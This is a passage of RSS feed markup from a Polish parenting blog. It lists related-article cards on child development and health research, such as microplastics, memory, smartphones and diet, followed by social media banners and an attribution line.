3039. <a href="https://przystanekrodzinka.pl/mikroplastik-w-butelkowanej-wodzie-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-768x512.jpg" class="attachment-medium_large size-medium_large" alt="clear plastic bottle close-up photography" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/lvs1f46s8rs.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3040. </div>
3041. <h4 class="uagb-post__title uagb-post__text">
3042. <a href="https://przystanekrodzinka.pl/mikroplastik-w-butelkowanej-wodzie-badanie/" target="_self" rel="bookmark noopener noreferrer">Woda w plastikowych butelkach: co pijemy naprawdę?</a>
3043. </h4>
3044. <div class='uagb-post__text uagb-post-grid-byline'>
3045. </div>
3046. <div class="uagb-post__text uagb-post__cta wp-block-button">
3047. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mikroplastik-w-butelkowanej-wodzie-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3048. </div>
3050. </article>
3051. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3052. <a href="https://przystanekrodzinka.pl/jak-mozg-wybiera-wspomnienia-do-zapamietania/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-768x512.jpg" class="attachment-medium_large size-medium_large" alt="A wooden block spelling memory on a table" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/a3hji7dzb58.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3053. </div>
3054. <h4 class="uagb-post__title uagb-post__text">
3055. <a href="https://przystanekrodzinka.pl/jak-mozg-wybiera-wspomnienia-do-zapamietania/" target="_self" rel="bookmark noopener noreferrer">Dlaczego dziecko pamięta jedne chwile, a inne zapomina?</a>
3056. </h4>
3057. <div class='uagb-post__text uagb-post-grid-byline'>
3058. </div>
3059. <div class="uagb-post__text uagb-post__cta wp-block-button">
3060. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/jak-mozg-wybiera-wspomnienia-do-zapamietania/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3061. </div>
3063. </article>
3064. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3065. <a href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-768x432.jpg" class="attachment-medium_large size-medium_large" alt="a close up of a blue and purple structure" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3066. </div>
3067. <h4 class="uagb-post__title uagb-post__text">
3068. <a href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer">Wiek ojca a mutacje w spermie: nowe odkrycie naukowców</a>
3069. </h4>
3070. <div class='uagb-post__text uagb-post-grid-byline'>
3071. </div>
3072. <div class="uagb-post__text uagb-post__cta wp-block-button">
3073. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3074. </div>
3076. </article>
3077. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3078. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="516" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg" class="attachment-medium_large size-medium_large" alt="czas zimowy a rytm dobowy dziecka badanie stanford" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-300x201.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1024x687.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1536x1031.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3079. </div>
3080. <h4 class="uagb-post__title uagb-post__text">
3081. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Czas zimowy chroni zdrowie: badanie Stanford Medicine</a>
3082. </h4>
3083. <div class='uagb-post__text uagb-post-grid-byline'>
3084. </div>
3085. <div class="uagb-post__text uagb-post__cta wp-block-button">
3086. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3087. </div>
3089. </article>
3090. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3091. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="wspomnienia z dzieciństwa jak odzyskać" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3092. </div>
3093. <h4 class="uagb-post__title uagb-post__text">
3094. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</a>
3095. </h4>
3096. <div class='uagb-post__text uagb-post-grid-byline'>
3097. </div>
3098. <div class="uagb-post__text uagb-post__cta wp-block-button">
3099. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3100. </div>
3102. </article>
3103. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3104. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="490" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg" class="attachment-medium_large size-medium_large" alt="co sprawia ze objadamy sie produktami" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-300x191.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1024x653.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1536x980.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3105. </div>
3106. <h4 class="uagb-post__title uagb-post__text">
3107. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Co naprawdę sprawia, że objadamy się produktami?</a>
3108. </h4>
3109. <div class='uagb-post__text uagb-post-grid-byline'>
3110. </div>
3111. <div class="uagb-post__text uagb-post__cta wp-block-button">
3112. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3113. </div>
3115. </article>
3116. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3117. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="psy kategoryzuja przedmioty funkcja jak dzieci" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3118. </div>
3119. <h4 class="uagb-post__title uagb-post__text">
3120. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Psy potrafią kategoryzować przedmioty jak małe dzieci</a>
3121. </h4>
3122. <div class='uagb-post__text uagb-post-grid-byline'>
3123. </div>
3124. <div class="uagb-post__text uagb-post__cta wp-block-button">
3125. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3126. </div>
3128. </article>
3129. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3130. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg" class="attachment-medium_large size-medium_large" alt="autyzm ewolucja ludzkiego mozgu badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-300x225.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1024x768.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1536x1152.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3131. </div>
3132. <h4 class="uagb-post__title uagb-post__text">
3133. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Autyzm ceną za ludzką inteligencję?</a>
3134. </h4>
3135. <div class='uagb-post__text uagb-post-grid-byline'>
3136. </div>
3137. <div class="uagb-post__text uagb-post__cta wp-block-button">
3138. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3139. </div>
3141. </article>
3142. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3143. <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="467" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-768x467.jpg" class="attachment-medium_large size-medium_large" alt="rozumienie mowy w hałasie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-768x467.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-300x182.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-1024x623.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352.jpg 1365w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3144. </div>
3145. <h4 class="uagb-post__title uagb-post__text">
3146. <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer">IQ wpływa na słyszenie w hałasie – zaskakujące badanie</a>
3147. </h4>
3148. <div class='uagb-post__text uagb-post-grid-byline'>
3149. </div>
3150. <div class="uagb-post__text uagb-post__cta wp-block-button">
3151. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3152. </div>
3154. </article>
3155. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3156. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a person lying on a bed with a tablet" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3157. </div>
3158. <h4 class="uagb-post__title uagb-post__text">
3159. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Smartfon przed 13. rokiem życia a zdrowie psychiczne</a>
3160. </h4>
3161. <div class='uagb-post__text uagb-post-grid-byline'>
3162. </div>
3163. <div class="uagb-post__text uagb-post__cta wp-block-button">
3164. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3165. </div>
3167. </article>
3168. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3169. <a href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-768x513.jpg" class="attachment-medium_large size-medium_large" alt="światło w nocy a zdrowie serca" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/yrlzg_4x-ke.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3170. </div>
3171. <h4 class="uagb-post__title uagb-post__text">
3172. <a href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/" target="_self" rel="bookmark noopener noreferrer">Światło w sypialni szkodzi sercu dziecka</a>
3173. </h4>
3174. <div class='uagb-post__text uagb-post-grid-byline'>
3175. </div>
3176. <div class="uagb-post__text uagb-post__cta wp-block-button">
3177. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3178. </div>
3180. </article>
3181. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3182. <a href="https://przystanekrodzinka.pl/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="dieta srodziemnomorska zapobiega cukrzycy badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3183. </div>
3184. <h4 class="uagb-post__title uagb-post__text">
3185. <a href="https://przystanekrodzinka.pl/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie/" target="_self" rel="bookmark noopener noreferrer">Dieta śródziemnomorska zmniejsza ryzyko cukrzycy o 31%</a>
3186. </h4>
3187. <div class='uagb-post__text uagb-post-grid-byline'>
3188. </div>
3189. <div class="uagb-post__text uagb-post__cta wp-block-button">
3190. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3191. </div>
3193. </article>
3194. </div>
3196.  
3197.  
3198. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
3199.  
3200.  
3201.  
3202. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
3203.  
3204.  
3205.  
3206. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
3207. <p>Artykuł <a href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/">Żywność ultra przetworzona zmienia strukturę mózgu</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
3208. ]]></content:encoded>
3212. </item>
3213. </channel>
3214. </rss>
3215.